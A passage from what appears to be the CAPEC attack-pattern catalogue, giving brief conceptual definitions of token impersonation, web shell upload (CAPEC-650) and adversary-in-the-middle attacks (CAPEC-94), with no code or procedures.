An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.